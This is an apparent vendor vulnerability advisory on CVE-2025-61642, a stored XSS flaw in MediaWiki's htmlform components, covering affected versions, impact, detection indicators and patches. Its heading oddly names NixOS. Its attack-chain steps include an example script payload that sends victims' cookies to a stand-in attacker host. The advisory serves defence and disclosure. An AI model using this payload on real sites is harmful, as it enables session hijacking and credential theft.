CVE-2025-61642: 
NixOS vulnerability analysis and mitigation

CVE-2025-61642 is a Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The flaw resides in the htmlform components, specifically in includes/htmlform/CodexHTMLForm.php and includes/htmlform/fields/HTMLButtonField.php. It affects MediaWiki versions before 1.39.14, versions 1.43.0 through 1.43.3 (before 1.43.4), and version 1.44.0 (before 1.44.1). The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability stems from insufficient input sanitization in MediaWiki's HTML form generation components — specifically CodexHTMLForm.php and HTMLButtonField.php — which fail to properly neutralize user-supplied input before rendering it in web pages (CWE-79). An attacker with high privileges can inject malicious scripts via system messages or form field parameters that are subsequently rendered in the browser context of other users who interact with the affected form elements. The attack vector is network-based, requires no special attack complexity, but does require high privileges and passive user interaction to trigger. A technical write-up describing this as a stored XSS through system messages provided to CodexHTMLForms has been published (Infinitsec Blog, Red Hat Bugzilla).

Successful exploitation allows a high-privileged attacker to inject malicious JavaScript that executes in the browser context of other authenticated users who interact with the affected form elements. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of victims. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact, and no availability impact, limiting but not eliminating the risk to affected MediaWiki deployments (Red Hat Advisory).

There is no public proof-of-concept exploit and no confirmed in-the-wild exploitation as of the time of reporting (Red Hat Advisory). The EPSS score is approximately 0.054%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges, reducing the attack surface compared to unauthenticated XSS vulnerabilities.

1. Reconnaissance: Identify a target MediaWiki instance running a vulnerable version (before 1.39.14, 1.43.4, or 1.44.1) and obtain or compromise a high-privilege account (e.g., administrator or interface editor).
2. Identify injection point: Locate system messages or form fields rendered via CodexHTMLForm.php or HTMLButtonField.php that accept user-controlled input without proper sanitization.
3. Inject malicious payload: As a privileged user, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a system message or button field parameter that is rendered by the vulnerable htmlform components.
4. Trigger victim interaction: Wait for or socially engineer a target user to visit or interact with the page containing the injected form element (passive user interaction required).
5. Harvest results: The injected script executes in the victim's browser, enabling session cookie theft, credential harvesting, or performing actions on behalf of the victim (Infinitsec Blog, Red Hat Advisory).

• Logs: MediaWiki access logs showing unusual edits to system messages (e.g., MediaWiki: namespace pages) by privileged accounts, particularly those containing <script>, javascript:, or encoded variants thereof.
• Network: Outbound requests from user browsers to unexpected external domains shortly after interacting with MediaWiki form pages; HTTP requests containing encoded XSS payloads in form parameters targeting CodexHTMLForm or button field endpoints.
• File System: Unexpected modifications to MediaWiki system message pages or interface files that include script tags or obfuscated JavaScript.
• Process/Application: Browser-side errors or unexpected redirects logged in server-side analytics when users interact with affected form elements.

Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.39.14, 1.43.4, and 1.44.1. Administrators should upgrade to one of these versions as the primary remediation. As interim mitigations, restrict interface-editing and administrative privileges to trusted users only to reduce the attack surface, implement a Web Application Firewall (WAF) to detect and block XSS payloads, and enforce strict Content Security Policy (CSP) headers. Debian users should apply the DSA-6085-1 security update (Debian Advisory, Red Hat Bugzilla).

A blog post by a MediaWiki developer (bawolff) titled "How did XSSProtector do?" was published in October 2025, discussing XSS protection mechanisms in MediaWiki in the context of this and related vulnerabilities (Bawolff Blog). Tenable released Nessus detection plugins (IDs 269513 and 279440) for this CVE, and Debian issued a security advisory (DSA-6085-1) covering MediaWiki updates including this flaw (Debian Advisory). No significant social media controversy or major vendor statements beyond standard patch advisories have been observed.